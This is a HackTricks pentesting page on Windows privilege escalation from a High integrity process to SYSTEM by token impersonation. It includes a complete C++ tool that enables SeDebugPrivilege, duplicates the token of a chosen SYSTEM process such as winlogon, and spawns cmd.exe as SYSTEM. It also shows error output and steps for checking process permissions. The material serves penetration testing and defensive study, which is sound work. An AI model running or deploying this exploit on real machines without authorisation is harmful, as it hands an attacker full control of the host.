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hacktricks/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md
carlospolop 286ea6a24c hacktricks cloud
2023-04-07 10:52:01 +02:00

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<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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</details>
## Code
The following code was copied from [here](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962). It allows to **indicate a Process ID as argument** and a CMD **running as the user** of the indicated process will be run.\
Running in a High Integrity process you can **indicate the PID of a process running as System** (like winlogon, wininit) and execute a cmd.exe as system.
```cpp
impersonateuser.exe 1234
```
{% code title="impersonateuser.cpp" %}
```cpp
#include <windows.h>
#include <iostream>
#include <Lmcons.h>
BOOL SetPrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("[-] The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
std::string get_username()
{
TCHAR username[UNLEN + 1];
DWORD username_len = UNLEN + 1;
GetUserName(username, &username_len);
std::wstring username_w(username);
std::string username_s(username_w.begin(), username_w.end());
return username_s;
}
int main(int argc, char** argv) {
// Print whoami to compare to thread later
printf("[+] Current user is: %s\n", (get_username()).c_str());
// Grab PID from command line argument
char* pid_c = argv[1];
DWORD PID_TO_IMPERSONATE = atoi(pid_c);
// Initialize variables and structures
HANDLE tokenHandle = NULL;
HANDLE duplicateTokenHandle = NULL;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
// Add SE debug privilege
HANDLE currentTokenHandle = NULL;
BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
{
printf("[+] SeDebugPrivilege enabled!\n");
}
// Call OpenProcess(), print return code and error code
HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
if (GetLastError() == NULL)
printf("[+] OpenProcess() success!\n");
else
{
printf("[-] OpenProcess() Return Code: %i\n", processHandle);
printf("[-] OpenProcess() Error: %i\n", GetLastError());
}
// Call OpenProcessToken(), print return code and error code
BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle);
if (GetLastError() == NULL)
printf("[+] OpenProcessToken() success!\n");
else
{
printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
}
// Impersonate user in a thread
BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
if (GetLastError() == NULL)
{
printf("[+] ImpersonatedLoggedOnUser() success!\n");
printf("[+] Current user is: %s\n", (get_username()).c_str());
printf("[+] Reverting thread to original user context\n");
RevertToSelf();
}
else
{
printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
}
// Call DuplicateTokenEx(), print return code and error code
BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
if (GetLastError() == NULL)
printf("[+] DuplicateTokenEx() success!\n");
else
{
printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
}
// Call CreateProcessWithTokenW(), print return code and error code
BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
if (GetLastError() == NULL)
printf("[+] Process spawned!\n");
else
{
printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
}
return 0;
}
```
{% endcode %}
## Error
On some occasions you may try to impersonate System and it won't work showing an output like the following:
```cpp
[+] OpenProcess() success!
[+] OpenProcessToken() success!
[-] ImpersonatedLoggedOnUser() Return Code: 1
[-] ImpersonatedLoggedOnUser() Error: 5
[-] DuplicateTokenEx() Return Code: 0
[-] DupicateTokenEx() Error: 5
[-] CreateProcessWithTokenW Return Code: 0
[-] CreateProcessWithTokenW Error: 1326
```
This means that even if you are running on a High Integrity level **you don't have enough permissions**.\
Let's check current Administrator permissions over `svchost.exe` processes with **processes explorer** (or you can also use process hacker):
1. Select a process of `svchost.exe`
2. Right Click --> Properties
3. Inside "Security" Tab click in the bottom right the button "Permissions"
4. Click on "Advanced"
5. Select "Administrators" and click on "Edit"
6. Click on "Show advanced permissions"
![](<../../.gitbook/assets/image (322).png>)
The previous image contains all the privileges that "Administrators" have over the selected process (as you can see in case of `svchost.exe` they only have "Query" privileges)
See the privileges "Administrators" have over `winlogon.exe`:
![](<../../.gitbook/assets/image (323).png>)
Inside that process "Administrators" can "Read Memory" and "Read Permissions" which probably allows Administrators to impersonate the token used by this process.
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
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